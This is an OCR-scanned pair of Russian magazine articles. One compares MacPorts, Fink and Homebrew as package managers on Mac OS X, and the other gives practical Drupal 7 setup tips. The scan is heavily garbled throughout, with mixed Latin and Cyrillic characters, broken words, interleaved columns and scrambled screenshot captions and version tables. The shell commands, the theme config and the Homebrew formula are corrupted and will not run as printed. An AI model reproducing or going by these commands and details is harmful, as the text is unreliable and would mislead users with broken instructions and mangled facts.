пOдБирАЕм ИДЕАЛЬНЫЙ пАкЕтныЙ

},lEHEд)KEP для }iAc 0S

х

Почти все знают, чт0 в основе 0S Х скрываются компоненты *пiх-систем, но не всем известно, что различных рабочее окружение данной среды вполне позволяет юниксоидам чувствовать себя в своей тарелке. 0днако полноценного терминала и большого количества консольных утилит <из коробки) недостаточно полного счастья -для не хватает любимого текстового редактора, обожаемого компилятора и пакетного менеджера, который позволил бы все это поставить.

ввЕдЕниЕ В мире UNlX и Linux сложилась традиция

(один дистрибутив

-

один менеджер паке-

тов>, однако Мас 0S Х ей не соответствует.

Пользователю доступны на выбор целых три пакетных менеджера. Наши герои сегодня: масрогts, Fink и Ноmеьгеw. Все они имеют свое особое мнение о том, как должен выглядеть прOцесс устанOвки пакетOв и какие инструменты необходимо дать пользователю. Чтобы попробовать все три паке,т,ных менед-

оL2

жера в максимальн0 кOнтрастных услOвиях, зададимся целью устанOвить два пOпулярных пакета (они присутствуют в каждом из трех репозиториевl:

1. АвтодополнениеЬаsh.Еготаксильно

недостает в дефолтном терминале Мас 0S. Возьмем его как пример простого пакета, без зависимостей.

2. lmаgеМаgiсk-тяжелый пакетсбольшим количеством зависимостей. Настоящий комбайн для работы с изображениями.

пOдгOтOвкА

Все три пакетных менеджера имеют зависимOсти, кOтOрые мOгут 0тсутствOвать в свежеустановленнOй Мас 0S: GCC и Х]]. Если у вас 0ни уже устанOвлены, т0 данную часть смел0 мOжн0 прOпустить.

Gсс Самый распространенный способ получить GNU Соmрilег Collection в Мас 0S - Xcode Command Line Tools. Его можно установить либо в составе самой Xcode [из Мас Арр Stоге), либо с портала для разработчиков Apple Ihttps:i/developeг.apple.com/downloads/ l ndex.action). Потребуется пройти бесплатную регистрацию, но зато можно будет сэкономить почти 4 Гб места на жестком диске. Альтернативно, без установки Xcode, GCC можно поставить из специальной сборки, подготовленной Кеннетом Рейтцом: https://github. hгeitziosx- qсс-l пstаl]ег.

х11 Начиная с версии Мас 0S 10.8, X'l1 не ставится, что называется, из коробки, но при этом доступен на хquаrtz.mасоsfогgе.оrg.

хлкЕр

12/1671201|2


Недостающее звено

1-1acPorts

Посмотрим описание пакета командой info:

х

Установим пакет командой install:

МасРогts зародился в самой Apple в 2002 году. Кстати, тогда проект назывался DагwiпРогts. Напомним, что операционная система Мас 0S Х выросла из BSD, поэтому, когда дело дошло до менеджера пакетов, выбор справедливо пал на ВSD-порты, из которых были взяты 0снOвные 0рганизациOнные идеи и структура компилируемых пакетов. Стоит заметить, что пакетный менеджер входит в состав семейства Мас 0S Fогgе, мейнтейнером которого является Аррlе. Oтсюда и оченьтесная интеграция в систему [например, поддержка LaunchCtl), и очень большой набор возможных действий, По большей части Масрогts написан на bash, Тсl и С. Синтаксис команд же наверняка понравится пользователям *BSD и Gentoo.

0сновная идея у макпортов состоит в том, чтобы дать пользователю максимально гибкие возможности выбрать необходимое П0 благодаря так называемой системе

вариантов (отдаленно похоже на USЕ-флаги в Gentoo и makef ile.options в FгееВSD). Проще говоря набор конфигурационных файлов с единым синтаксисом для выбора различных опций сборки пакетов. С одной стороны, такой выбор не может не радовать, с другой иногда устанOвка пакета мOжет затянуться: 5 или "Нужно РНР? 0К, а какой версии 4? Хорошо, а 5.4, 5.З или 5.2? 0тлично, а 5.4 с поддержкой dеЬug-режима? А mod_php для апача поставить? А PEAR не нужен?> СловOм, не всегда пOльзOвателю хOчется вникать во все тонкости и особенности дистрибуции

-

-

-

п а

.,оо

$ рогt info bash-completion

Сайт: www.mасрогts.огg Сайт поltска портов: Ь it. lyl48o В 00 Портов (на момент написания): '] 5 74]

кет0 в.

установка На странице www.mасрогts.оrg/lпstаl .рhр

можно выбрать РКG-инсталлятор. Также дOступна устанOвка из исхOдникOв, но она занимает больше времени. После запуска инсталлятOр пOкажет нескOльк0 диалоговых 0кOн и затем установит менеджер пакетов. Oн сам добавит в ргоfilе-файл строчку:

$ sudo рогt install bash-completion }Lil

Поскольку в Мас 0S bash идеттретьей версии, а МасРогts установит свою версию bash версии 4, необходимо будет прописать путь к башу /opt/local/bini bash -l в твоем терминале. Подробней о данной проблеме можно п р о ч и

тат ь зд

е с ь

wЦl|эц!qД aýn

:

h ttр s

:

//t

г а

с. m

aclplls.

о

г g

/

с}о l]] р ]et1q 1]. Та к ж е н е о б х о д и мо будет вручную добавить инициализацию автодополнения в ргоf ilе-файле:

PortAuthority

-

графический интерфейс для i,lacPorts

время.,Щля того чтобы ощутимо его сократить, в менеджере пакетOв мOжн0 включить кеш компилятора, который при возможности будет

брать результат компиляции из кеша. !ля этого необходимо установить пакет ccache:

# bash-completion

$ sudo рогt install ccache

bash_completion.sh

и отредактировать

if [ -f /opt/Local/etclprofile.d/e ]; then . /optllocal/etc/pnofi 1е. d/p bash_completion.

sh

fi

После этих действий необходимо перезапустить терминал. Наконец, поставим lmageMagick.

$ sudo ропt instaI1

Существует множество различных псевдоимен пOртOв специальных имен, кOтOрые мOгут содержать целый набор пакетов. Например, нда

$ рогt

tist

сопfigчгессасhе yes

плюсы и ttинусь! одной стороны, МасРогts это очень мощный инструмент для работы с пакетами. У него самый большой репозиторий (по числу пакетов), активное сообщество и богатый функционал помимо базовых функций установки/обновления/удаления пакетов. С другой он потребует от пользователя дополнительных усилий для изучения этого самого функционала, а структура пакетOв заставит ядр0 твоего Мака часами компилировать многочисленные обновления пакетов и их зависимостей, Кроме того, многие из этих зависимостей дублируют пакеты, поставляющиеся в составе самой Мас 0S Х, МасРогts фактически никак не учитывает т0, чт0 уже есть в распоряжении у пользователя. С другой стороны, для кого-то эт0 мOжет 0казаться и плюсOм например если поставляемая Apple версия библиотеки п0 каким-т0 причинам не пOдхOдит. В то же время это даетточный контроль над зависимостями, ведь обновление библиотек не будет завязано на обновлениях самой 0С.

-

С

ImageMagick

псЕвдOи],lЕнА

к0 ма

файл /opt/local/etc/ mасрогts/mасрогts.сопf, выставив правильное значение у опции сопfiguгессасhе:

outdated

выведет списOк устанOвленных пOртOв, версии которых устарели. А команда

$ рогt uninstaIl installed удалит все устанOвленные пOрты.

кЕш к0]..lпилятOРА Поскольку в МасРогts все пакеты при установке компилируются, сборка зависимостей мOжет занимать очень прOдOлжительнOе

-

-

ехрогt РДТН=/орt/lосаl/Ьiп i /opt/ р 1ocal/sbin:

$РАТН

заставляя твой шелл искать команды в директориях макпортов. После этого обновим базы

RUDIX

пOртOв:

$ sudo рогt selfupdate Теперь менеджер пакетов готов к работе.

работа с пакетами Сначала поставим автодополнение bash. пакетов воспользуемся командой

,Щля поиска sea гс h:

$ рогt sеагсh completion хлкЕр 12/1ь7/2012

-

ПАКЕТЫ БЕЗ МЕНЕДЖЕРА

не всем пользователям требуется ставить множество специфических пакетов и библиотек, также указывать при сборке кастомные опции. Вполне возможно, что не у каждого Мас-кодера есть бэкграунд в *пiх и любовь к пакетным менеджерам. flля таких ситуаций может подойти проект Rudix (гчdiх.оrgl. Концептуально Rudix близок к бандлам самой Мас 05 Х, поэтому пакеты пOставляются не прост0 в гOтовоt4 виде, но и сразусо всеми зависимостями, в виде стандартных РкG-файлов. Проект предлагает собственный пакетный менеджер, но им можно и не пользOваться. устанавливая пакеты с сайта привычным для 0S Х образом. Недостаток заключается в тOм, чт0. хOтя прOект находится в активном состоянии, сообщество вокруг него меньше, чем у других героев сегодняшнего рассказа. flостаточно сказать, что у проекта все еще нет официальной поддержки 0S Х 10.8, вышедшей уже достаточно давно. а


PcZONE tlacT mysql

Fink (айт проекта: www.f n kp гоjесt.ог9 Сайт поиска пакетов: bit,iylzg1 ni'l Пакетов (на момент написания}: ]4 ]75 i

,bt/ ,b!l

мьолхмrр мпOахмР

Создатели Fink решили отойти от канонов BSD и за основу взяли модную на тот момент дебиановскую систему бинарных пакетов, построенную на АРТ и dрkg. Oтсюда следует главное отличие это пакетный менеджер, ориентированный на работу с бинарниками, а не сборку из исходных кодов. FinkCommander

В современных версиях Мас 0S Х Fiпk устанавливается путем сборки из исходников. На странице sоuгсеf ог9е,пеt/ргоJесts/f i п k скачать дистрибутив, на момент написания статьи это f iпk-O.З4.4.tаг.gz.

$

tаг -xzf fiпk-O.З4.4.tаr.gz

$ cd fink-O.34.4 $./bootstrap

-

графический интерфейс для Fink

н0 в пOследнее время сервис не перестает <радOватьD падениями различных свOих

компонентов и зеркал. Поэтому сразу после устанOвки пOменяем метOд синхрOнизации базы пакетов, чтобы Fiпk собирал информацию из официального СVS-дерева проекта:

$ fink selfupdate-cvs

Если в системе не установлен Java SDK, то процесс прекратится и будет вызван стандартный диалог установки SDK. После этого нужно будет повторно стартовать установку. Fink инсталлирует все пакеты в свOю директOрию, обычно это /sw, но при желании можно будет ее поменять [установщик спросит об этом на следующем шаге). ,Щалее инсталлятор будет спрашивать ряд специфичных настроек. После того как он получит всю необходимую информацию, можно запастись пOпкOрнOм или пOлистать журнал дальше. По иронии судьбы, установка пакетного менеджера, в основе которого лежат бинарные пакеты, сама требует довольно продолжительной компиляции :). После завершения установки необходимо будет добавить '5оuгсе /sw/bin/init.sh'B ваш ргоfilе- или Ьаsh_rсфайл. И выполнить его в консOли,

$ echo 'sочгсе /sw/bin/init.sh' -/. ргоfilе

РАБOтА с пАкЕтАI.tи Теперь можно поставить пакет автодополнения в баше. flля вывода доступных к установке пакетов используется команда list. Ей аргументом можно передать фильтр по названию пакета.

6.8.0-2

6.8.0-2 6.5.8.10

ь.7.7

0.7.]з 0.7.,lз

'1.0

,1.0

postgгesql

9,2.1

9,2.1 9.1.4

9.2.1

Ьегkеlеу-dЬ

5.З,21

5.3.21 5.з.15

5.з.21

ix samba squid

з.6.8

gtk

з.6.1

qt счгl wget zsh emacs vim tmux еttегсар wiгеshаrk wine Сравнение

2.9.1+

2.9.4

2.9.0

з.ь.7 3.6.0 з,2.3 3.1.14

3,2.З

2.']8.9

з.6.8 з,2,2 2.2l,.11

4.8.З 4.8.3 4.7.3

4.8.З

7.2В.0 7,2В,0 7.28.0

7.28.0

1,14 1.14 1,14 5.0.0 5.0.0 4.З.12 2l+.2 2L.2 2з.l+

7.з.712

7.3,661

1,7

1.7

0.7,4.1

1.8.З

1.8.3

1.5.15

проектов

по

0.7.З

1.4.1

7.3.709

1.6 0,7,4 1.8.з

1.з.21

1.14

5.0.0 24.2 7.з.709 1,7 0.7.1+.1

1.8.з 1.L-1

свежести пакетов

0тлично, теперь посмотрим информацию об интересующем нас пакете:

$ fink dеsсгiЬе bash-completion

fink instaI1 lmagemagick

$ fink

Iist

completion

и установим его. Так как директория /sw создана с рутовыми прав��ми, необходимо вызывать Fiпk с sudo. Впрочем, если мы забудем, пакетный менеджер сам позаботится об этом и спрOсит парOль:

$ fink instaI1 bash-completion flобавляем скрипт в инициализацию:

-

thсРоrь Fril( }lапеk€w 5.5.28 5.0.96 5.5,27

Перейдем к lmageMagick'y. Как ни странно, пакет называется imagemagick. Поскольку в системе установлен только один пакет, Fink найдет множество зависимостей [полный их список можно получить командой fink showdeps imagemagick) и сразу же приступить к их загрузке, набрав:

>>р

Сложно сказать, в чем причина в злой судьбе или же низкой популярности проекта,

ima9emagick

5.5.28

ffmpeg

postf

-

устАнOвкА

tJрбfrЕrn

$ echo 'sоuгсе /sw/etc/bash_completion' е >> -/. ргоfilе

плюсы и 1.{инусы Есть большая вероятность, что дистрибутив Linux, с которого ты перешел на Мас 0S Х, был основан на Debian это мог бы быть и любой вариант Ubuntu или Mint. В таком случае синтаксис команд fink покажется тебе почти родным, и это большое преимущество. Кроме того, в отличие от других участников обзора, этот менеджер ориентирован на работу с бинарными пакетами, а не сборку из исходных кодов. Oднако судя по всему, данный проект уже не пользуется должной популярностью это видно по более старым пакетам, проблемам в инфраструктуре {оффсайт упал почти на месяц] и меньшее количество документации.

-

-

t

adr

,/ I

гr fil

l


НоmеЬrеw

$ Ьгеw sеагсh completlon

СаЙт: mхсl.githuЬ.соm/hоmеЬгеw Сайт поиска форнул: Ьгаumеistег,огg

Просмотр информации о нем:

Спlсок форнул на гитхабе: bit.lylf 99Dmj Форнул [на момент написанияJ:2146

$ Ьгеw info bash-completion Уста

Заголовок страницы НоmеЬгеw гласит: <МасРогts dгiving you to dгiпk? Тгу НоmеЬгеw!> 0тчасти это и правда. Это самый молодой менеджер пакетов [первые коммиты в репозиторий на гитхабе относятся к 2009 году). В НоmеЬгеw пакеты называются формулами. Все исходники пакетного менеджера и его формул написаны на Ruby, поэтому они очень легко читаются и правятся. Кроме того, проект размещен на гитхабе, и это просто располагает 0тправлять свOи пул-реквесты с дOпOлнениями. Несмотря на то что репозиторий НоmеЬгеw сOдержит на пOрядOк меньше пакетOв, не стоит сразу сбрасывать его со счетов. Если МасРогts и Fink пошли традиционным путем пакетирования всег0, чт0 тOльк0 мOжн0, и в результате из репOзитOрия можно поставить и питоний Django, и рубишный Siпаtга, то в репозитории НоmеЬгеw вы этого не найдете. Зато Питон и Руби устанавливаются с нативными пакетными менеджерами [gem и pip), через которые уже и ставятся специфичные для каждого языка пакеты. Таким образом, Макс Ховел, автор проекта, не стал дублировать функционал пакетных менеджеров, специфичных для конкретнOг0 языка.

УстАнOвкА H01.1EBREW в отличие от Fink и Масрогts, Ноmеьгеw не предполагает изоляцию собственных директорий и считает хорошим тоном устанавливать пакеты в /usг/lосаl. При этом разработчики также рекOмендуютдать права на запись пOльзOвателю в эту директорию, чтобы не писать sudo перед вызовом команды. Возможно. это предложение ранило тебя в самое сердце, и ты не 0динок в своем возмущении.,Ща, теоретически, UNlX многопользовательская операционная система, в ней могут сосуществовать несколько разработчиков, каждый из которых юзает НоmеЬгеw или ставит пакеты иным способом (и тогда смена прав недопустима). Но часто ли ты делишь свой компьютер с другими пользователями и тем более другими кодерами? На этом попытаемся прекратить бессмысленный спор, по крайней мере на страницах любимого журнала. Как и во всем остальном, в установке НоmеЬгеw предлагает максимальную простоту, поэтому ставится одной строчкой в консоли:

-

-

github. соm/mхсl/hоmеЬгеw/gо

)"

В результате будет скачана и установлена по-

следняя версия НоmеЬгеw.

рАБOтА с пАкЕтА1,1и Интерфейс работы с пакетами стандартный. поиск пакета:

хлкЕр

121167/2012

ов ка:

$ Ьгеw instal1 bash-completion 0бновление установленных

$ Ьгеw

пакетов:

uрgгаdе

Удаление пакета:

$

Ьпеw uninsta].1 bash-completi.on

оOР],lУлы 0дна из киллер-фич, за которую так любят этого новичка, это формулы. Каждая формула представляет собой файл, написанный на Ruby. По сути, формула это класс с именем пакета, унаследованный от класса формулы, с обязательными свойствами: . hоmераgе-адресдомашней страницы пакета. Политика пакетного менеджене хранить описаний пакетов, так ра как они устаревают, а иметь обязательную ссылку на страницу пакета, где может быть и 0писание пакета, и дOкументация, и другая

-

-

-

.

рма ция; Url-адрес, с

которого будетскачиваться архив пакета. Кстати, НоmеЬгеw по умолчанию сам пытается вычислить версию пакета из его адреса. Поэтому в большинстве своем автору формулы нет необходимости прописывать версию вручную.

Также должен быть реализован метод install, в кOтOрOм 0писывается прOцесс устанOвки п а

end end

Если по какой-то причине тебя не устраивает формула, которая находится в стандартном репOзитOрии, например версия пакета 0тличается от той, что необходима, ты легко можешь создать свOю локальную, пOправив уже существующую. !ля этого нужно вызвать команду edit с именем пакета:

$ Ьгеw edit

apg

и н фо

кета.

flля примера посмотрим на пакет APG IAutomated Раsswогd Gепегаtогl. Это простая кOнсOльная утилита, кOтOрая при вызOве генерирует порцию случайных паролей. Его формула выглядит следующим образом:

геqчiге'fогmчlа' class Apg < Fопmчlа

homepage'http://www.adel.nuгsat,kz/ арв/'

чг1'http://www.adel.nuгsat.kz/apg/ download/apg- 2.2. 3. tan. gz

е е

'

shа1'7ЬdЬс9Зlеf8477717186dсзаЬ3а2d 3с25012Ь4са'

$ пчЬу -е "$(счг1 -fsSkl паw.

н

-

def insta11

system "make", "Standalone", "CC=#{ENV. сс}'', '' F

LAбS=*{ ЕNv , cflags

"LIBS=", "LIBM="

insta11 ' ар8 ' , ' apgbfm ' manl.instaII'doc/man/ap8.1', Ё bin

.

'doc/man/apgbfm.

1

'

} ''

,

и 0тредактировать открывшийся файл. После его сохранения пакет будет устанавливаться уже из локальной формулы.

плюсы и 1,1инусы

-

НоmеЬгеw это свежий взгляд на мир пакетных менеджеров. Oн написан на Ruby, его код и код формул легко доступны и читабельны, а если чтO-т0 не нравится всегда мOжн0 <форкнуть репу> на гитхабе. Стандартный репозиторий легко удовлетворит большинство запросов. Вокруг пакетного менеджера уже сформировалось довольно крупное и активное сообщество. Но есть и минус такого подхода легкOе 0щущение хаOса, кOтOрOе мOжет 0тпугнуть пользователей, привыкших к традиционному строгому контролю за версиями П0.

-

в сухOм 0стАткЕ Итак, из трех пакетных менеджеров до финиша МасРогts и НоmеЬгеw. Каждый дошло два из них имеет набор уникальных возможностей, и при желании их можно даже комбинировать (но это тема для отдельного обсужденияl. Простота НоmеЬгеwдля пользователей и разработчиков дает проекту возможность очень активн0 развиваться, пOэтOму впOлне возможно, что рано или поздно он займет пальму безусловного первенства, Но на сегодняшний день максимально функциональным решением остается МасРогts даже несмотря на то, чт0 ег0 пOстепенн0 станOвится мOдн0 ругать. это же всегда хорошо, ,Ща и наконец, выбор

-

-

верно?

t

-


PczoNE

Илья l.,lypaBbeB liliamrvl0ya,ru]

Недетский

/J гl

Dru

\

I

/, \2-/ *ч- '\-'', /

l

/

НАСТРАИВАЕМ

DRuPAL для gЕБя_, ПOСЕТИТЕЛЕИ САИТА и пOд пOискOвьlЕ

}

i l_ .в.

,в!

},lАшиньl

0бзоров Druраl более чем достаточно, но так или иначе они ocHoBaHbl на теории, то есть описании модулей: мол, система очень гибкая, воттебе список модулей, дерзай! А на практике нюансов очень много. Важно понимать, что Dгuраl нужно настроить не только для себя, но и для пользователей и поисковых машин. Под этим углом мы и рассмотрим CMS.

Пять способов сделать Drчреl удобней для себя 0чевидно, что, если ты мигрируешь с WогdРгеss, тебя покоробят многие странности, которые должны работать из коробки, но в Dгuраl решаются изощренным способом. Перед тобой советы из личной практики, манипуляции, кOтOрые прихOдится прOизв0дить с закрытыми глазаlйи для каждOг0 свежеустановленного сайта на Dгuраl.

-

УДOБНАЯ АДМИНКА Dгuраl может похвастаться интерфей- сом drаg'п'dгор [см. Administгation _ DаshЬоагd], боюсь, что по неопытности это будет похоже на Clash'N Slash. Главный советиспользуй ТооlЬаг & Shoгtcut (Сопfi9uгаtiоп *

1

usег iпtегfасе, shогtсutsl для быстрого доступа к нужным функциями настройки панели управления DаshЬоагd, Это реально ускоряет работу с Dгuраl: ты добавляешь нужные разделы в закладки на тулбар и не обращаешься всякий раз к оперативной памяти своего м 0з

га.

На мой взгляд, модуль Аdmiпistгаtiоп mепu s gd/zKxQt4J в виде выпадающего списка, который часто упоминается в списке must-have модулей, достаточно громоздкий и в седьмой версии Dгuраl не так уж и незаменим. (

046

Также, если тебе не нравится внешний вид админки, можешь сменить тему Seven на Rubik Is,Edl lХ.К(7)или Fubik Is.gd/Et GqгJ.

a ,l

чт0 вижу,-г0 и пOлучАю

0бычно я обоашаюсь к фооматч Plaintext [Сопfiguгаtiоп * Сопtепt аuthогiпg - Text fогmаts] при наборе простого текста кOгда испOльзOвать все вOзмOжные НТМL-теги нет смысла и времени. !ля других пользователей, которым предоставляется доступ к публикации контента на сайте, я всегда настраиваю Filtегеd HTML, где указываю дOступные теги, пOтOму чт0 неумелое использование HTML может угрожать безопасности (например, кто-то захочет поупражняться с cгoss-site sсгiрtiпgl или слегка <подправить),

верстку

:).

Если ты испытываешь дискомфорт, установи модуль WYS|WYG [rs Ldl!m сф) и выбери текстовые форматы, в которых нужно использовать визуальный редактор (Сопfiguгаtiоп

-

-

Wysiwyg ргоfilеsl. Сопtепt аuthогiпg Модуль WYSlWYG позволяет добавить на сайт WYS|WYG по твоему выбору. Наибольшей популярностью пользуются СКЕditог и ТiпуМСЕ, но можно выбрать и более мини-

малистичные: NicEdit и прочие. Я предпочитаю TinyMCE, поскольку он испытывает меньше проблем при отображении в браузерах и вставке картинок средствами CMS. По срав��ению с тем же СКЕditог, который в сообществе Dгuраl упоминается значительно чаще. Совет дня. Все модули, о которых будет идти речь, ты мOжешь устанавливать с пOм0щью консоли Dгush: инсталлятор для Windows; Ls_gdlb4l]5d is_qdzcAKSW2 для UNlX / 0S Х,

. .

-

-

Кстати, в восьмой версии Dгuраl продвинутое редактирование будет включено в стандартный набор. Практически любой текст ноды Inode] можно будет редактировать на лету, не заходя во вкладку редактирования. Роль WYSIWYG будет выполнять редактор Aloha Еditог [аlо]щ qфtог,огg). Хорошо это или нет покажет время. Сейчас доступна альфа-версия проекта под кодовым названием Sрагk (dгuра .

sl g/ptalqqVsрагk], можешь пощупать новую систему редактирOвания. Вдогонку советую документ "WYS[is not always)WYG(but it сап bel" Iis,gd/OSMRlpl- пожалуй, один из самых подробных мануалов по настройке WYS|WYG для Dгuраl.

хлкЕр

121167l2012


Недетский Dгuраl

+ URL рай ,ettln8ý + lmа8е

pa0l

pati modllr

f|.ld_ima8e

Fite

Настройки полей для вывода изображений

в

'оm

aьmепВ

Fiъ

разделе Мапаgе Fields

Nglst

rlalпlnq

lдуаll0 alcUnrёn, 5ilpp!eo Iol ,0,eacnt l lп

wamlo8i

scandn{) [fцпспоп,rФdt):

20l2

рпр

16

рф

!6 fugurt 20l2

(еппо 0): ilo,,,

wаmlп8: lcandr{sitrs/alvllыaries/.loha/abha..,

Shorv rort

*

Е

зvtс: Add

В)

arush_logo-black.pn8 (22.7з

Цg|igц_Р

rпзсп

upload

tyРs: ttfpntJpt. в

WYSlWYG

С одной стороны, в Dгuраl 7, по сравнению с шестой версией, вставлять

в текст ноды изображения стало проще. Благодаря модулю lmage и встроенной поддержке стилей ты можешь определять не только размеры изображения, но и стиль вывода для разных типOв материалов, для полной версии материала и тизера. С другой же стороны, слOжн0 пOнять, как на практике применять этот инструментарий для выполнения совершенн0 прOстых задач. Сначала устанавливаем модули lпsегt [drцда .оLg7ргO]есt/iпsеI) для вставки изображений в поле WYSIWYG с помощью кнопки, а также lma9e Resize Filtег (rs gd/Дд3сLч] для вOзмOжнOсти изменять размер картинки в редактOре, Заходим в (lmage styles> (Сопf iguгаtiоп Media - lma9e styles), создаем и настраиваем стили по вкусу. Тем самым ты определишь варианты отображения картинок в тексте. Затем идем в Аdmiпistгаtiоп + Stгuсtuге э Content Types, Мапаgе fields и добавляем поле В последующем окне настроек "Filе>.

-

-

П

Enau. О.клрt'оп fidd

lnErt Т}Е* optiфs ftc type.

El

ilФ

thc чJar to еазlу

inяrt

an НТrЛL tatJ into tGxt аr,

inIrt bottф

ЕпаЦ.

ENABLE0 lNsЕRт sTYLEs

П

s.i?ct

d

!шtmtic П

Link

!

futlrt

20r 2

wal.inв,

lб !щчlt 20l2

wn.ninB] ýcindt(siter/alUlibl..ieý/iloha/aioh..,,

фр

Р

necium

ввс_ьск

Р

ttrumMat

фр

lб Ащчil 20l2

le,lno о): хо,,,

wJlпiп8

lnvalid arlumenl ýUФll.d fo, Iole.s()

walnin8| ailay_difi()

[{loctioл,aпay.diffll

фр

Ащчrt 2012

w.пtlпз,

ýdпdl/)

фр

lб Aaurt 20!2

w.lпlпg:

icedtrýilgý/rtvllhtatler/.bha/rlohi,.,

<Allowed f ile extensions> указываем допустимые форматы изображениЙ для закачки. "NumЬег of values> - <Unlimited". 0бязательно отметь "ЕпаЬlе iпsегt button>) и укажи стили, которые определил ранее в "lmage styies). Теперь ты сможешь добавлять в ноды картинки и менять их размер [при наличии

WYSIWYG].

l'U|(liф

h,.,

fu8Umont..

scandпli (e,loo 0): No,,,

Если планируешь добавлять на сайт аудио и видео, советую модуль Media {qlruраi.огg/ ргоjес{/mоdlа] - добавление мультимедиа через Field Ul поля. Если ты приверженец новейших веяний веба, MediaElement {]ý-gd/ твой выбор. Это альтернативная рýt9З] НТМL5-оболочка для проигрывания аудио и видео на сайте. Есть возможность сменить стандартную оболочку для проигрывателя YouTube, если она тебе не по душе.

-

, I+

всЕвидяlлЕЕ 0к0 На Мой взгляд, один "Rерогts, из самых люьопытных разделов

-

в Dгuра1.0н знает все о поведении пользователей на саЙте, расскажет об ошибках саЙта

-

в общем, обо всеЙ его жизни, которая происходит без вашего участия, Но по умолчанию он работает не на полную силу. ЗаЙди в раздел "Modules" и проверь, lйодули statistics и syslog должны быть включены. Например, в разделе <Topvisitoгs> ты легко можешь вычислить бота, который зависал на твоем сайте (отнюдь не из любопытстваl, и забанить его по lP в "lP Дddгеss blocking>. Раздел <Rесепt log messa9es> рассказывает

.

. .

Do nothin8. LGave trE old aaial

ш

atia9,

В Trantit.r.t. pri,

И.te

<скачивать

музыку

с контакта>

(не по адресу];

*арест, {проблемы не у тебя одного];

(удалить), (точно, единственное желание удалить мой сайт через скрытую командную строку в поиске];

.

<СеКРеты

ХР" [расслабься,

в 'хр'

нет секретов).

Также обрати внимание на раздел <Rерогts * Status герогt), который дает общую сводку о состоянии сайта. ГрамотнOе изучение 0тчетOв пOзвOляет исправить ошибки на сайте и избежать последующих проблем. В принципе, есть Google WеЬmаstег Tools и прочие инструменты для мониторинга, но статистика Dгuраl во многих случаях работает более оперативно. I

Ь-

ПЕРЕКРЫВАЕМ

кислOрOд

СПАМЕРАМ

у пользователей wогdргеss есть мощный инструмент для отсева спама в комментариях - Akismet, Поэтому спамерам не 0стается ничег0 другOг0, как перенаправить силы на пользователей Dгuраl, Как только ты активируешь модуль комментариев [а в Dгuраl он включен изначально], готовься к атаке: это равносильно тому, что на Земле исчез озоновый слой:]. На своих сайтах я ставлю модуль Disqus спаминг в кOмментариях сразу прекращается. Зарегистрировав свой сайт на 0 5quc.(om, ты мOжешь привязать к нему упомянутый Akismet. К тому же эта система делает комментирование более удобным, комментарии проще модерировать, гибко управляя white- и blackсписками. Ты можешь поставить этот модуль на все сайты, админка для комментариев будет общей. Завершающий штрих: не лишним будет 0тключить регистрацию новых пользователей в админке Dгuраl: Сопfiguгаtiоп - People * Account settinqs.

-

intact.

cr€ate ! пФ tirз. L.!vc tM .xi5tin8 dia9 functimin8. crcatG a

том, кто заходил на сайт, где обнаружены битые ссылки [статус 404), кто пытался зайти в админку. Чтобы ты немного отдохнул от потока информации, предлагаю тебе топ-5 за,,]росов моих посетителей с авторскими кOмментариями: "0ТДЫХ СЦУККOА" [не помешал бы]; 0

.

UРDЛТЕ ЛCT|ON

2012

dl'f]| А.вUmепt,,,

[luп(tiоп,!пiу '() scandt{, llчпспоп.зсiпdrl,

16

в

О О О

Включаем кнопку (lпsеrt>, для вставки изображений

12 11671

ie |оlеаф() h,,,

wamin8| iпay_dif

дщlrt 20!2

lб fugUil 2012

imазе

covcr

Е

wamlnв: hva|id rlЕUmелl lUDr{iCd

2

фр

100

@ызс

хдкЕр

201

б

lб Au8urt 2012

млlмчм (омюхЕхт LEхGTH

to'ь

pt оriзiпа

Nlч5t

!

Безуltный Алоха

встАвкА и3OБрАжЕниЙ игрдючи

.l

16

php

16

Вставка изображений

J

php

фр

_,

БОорiiЬ=ой-l оайл ве вчбран Fllб mщtь lý фsп д !lB. ffle

tg"*

file

а nerv

Дlo$ed

rtеiфts

tM dd alias.

to cr.stiп8

dia,

Включаем транслитерацию адресов

в

Pathauto


PcZONE

Пять способов улучlцить юзабилити Drчраl В составе Dгuраl 7 имеется три темы: Вагtik, Seven и Stагk. ,Щопустим, ни одна из них тебе не пришлась по вкусу. !,ля Dгuраl 7 на минуту написания статьи доступны более З80 вариантов, но с учетом субъективной фильтрации это очень маленькая цифра. Визуально привлекательные темы мOжн0 перечислить по пальцам. По запросу <Dгuраl themes> ты скорее найдешь интересные коммерческие темы, но не бесплатные.

_

1-

пЕРЕкРАивАЕll гOтOвУю

TE]vlY

Таким образом, в Dгuраl повысить юзабилити можно, написав собственную тему. Самый сподручный способ модифицировать тему Вагtik, она гораздо гибче Gагlапd, которая является .официальным лицом) Dгuраl 6. Это вполне универсальный шаблон, с которого можно начать свой путь в кодинге. Кроме Stаrk, доступно много базовых тем для дальнейшей кастомизации: Zen, Basic, 0mega и другие. Например,960RоЬоts основан на 960 gгid, Тwittег Вооtstгар [dгuраl.огg/ ргоJесt/twittег_Ьооtstrзр] - на одноименном фреймворке. Вариантов множество, выбирай любой в разделе .Themes> официального сайта Druраl.

-

2

-

<HELLO WORLD))

-

пишЕllтЕ},tуснуля

lla самOм деле написать свOю тему нетрудно, для этого не нужно быть гуру РНР-

кодинга. Стандартная файловая структура темы мOжет выглядеть так:

Структура темы

css\

раgе. tp1

папка с CSS, картинками и прочим контентом СSS-файл темы оболочка главной

node. tp1

оболочка ноды

scгeenshot. png mytheme,1nfo

скриншот формата 150х90

css\style.css

страницы

конфиг темы

Рассмотрим файл конфига mytheme.info. Конфигурация темы mytheme.info ; должно совпадать с названием файла ; конфига name = mytheme

;

описание темы descгiption = He1Io hlогld

package = Сопе

;

версия Dпuра1

чегsiоп = VERSIoN соге = 7.х ; Stylesheets - файлы стилей темы stylesheetsIscгeen] [ ] = css/style. css

j Scгipts

(скрипты)

scnipts[] = j5lmy.js

-

JS-скрипты

Regions - указываем регионы для размещения блоков гegionsIcontent] = content гegionsImessa8es] = Messages negionsIpage_top] = раgе top negionsIpage_bottom] = Раgе bottom гegionsIsideban_finst] = Fiгst sidеЬаг

; ;

Регионы ты можешь указать в конфиге после того, как будет сверстана НТМL-страница. Вначале делаешь статичный макет страницы, сохраняешь в HTML со всей структурой, забрасываешь в папку с твоей темой, переименовываешь index.html в page.tpl.php и заполняешь переменными. Список переменных и их описание смотри внутри файла page.tpl.php, в node.php.tpl. Пример переменных, используемых

в page.tpl.php /* выводим сrили, указанные в

секции

Stylesheets конфига mytheme.info

<?рhрргiпt

/*

$styles;

?>

выводим скрипты, указанные

в

*/

секции

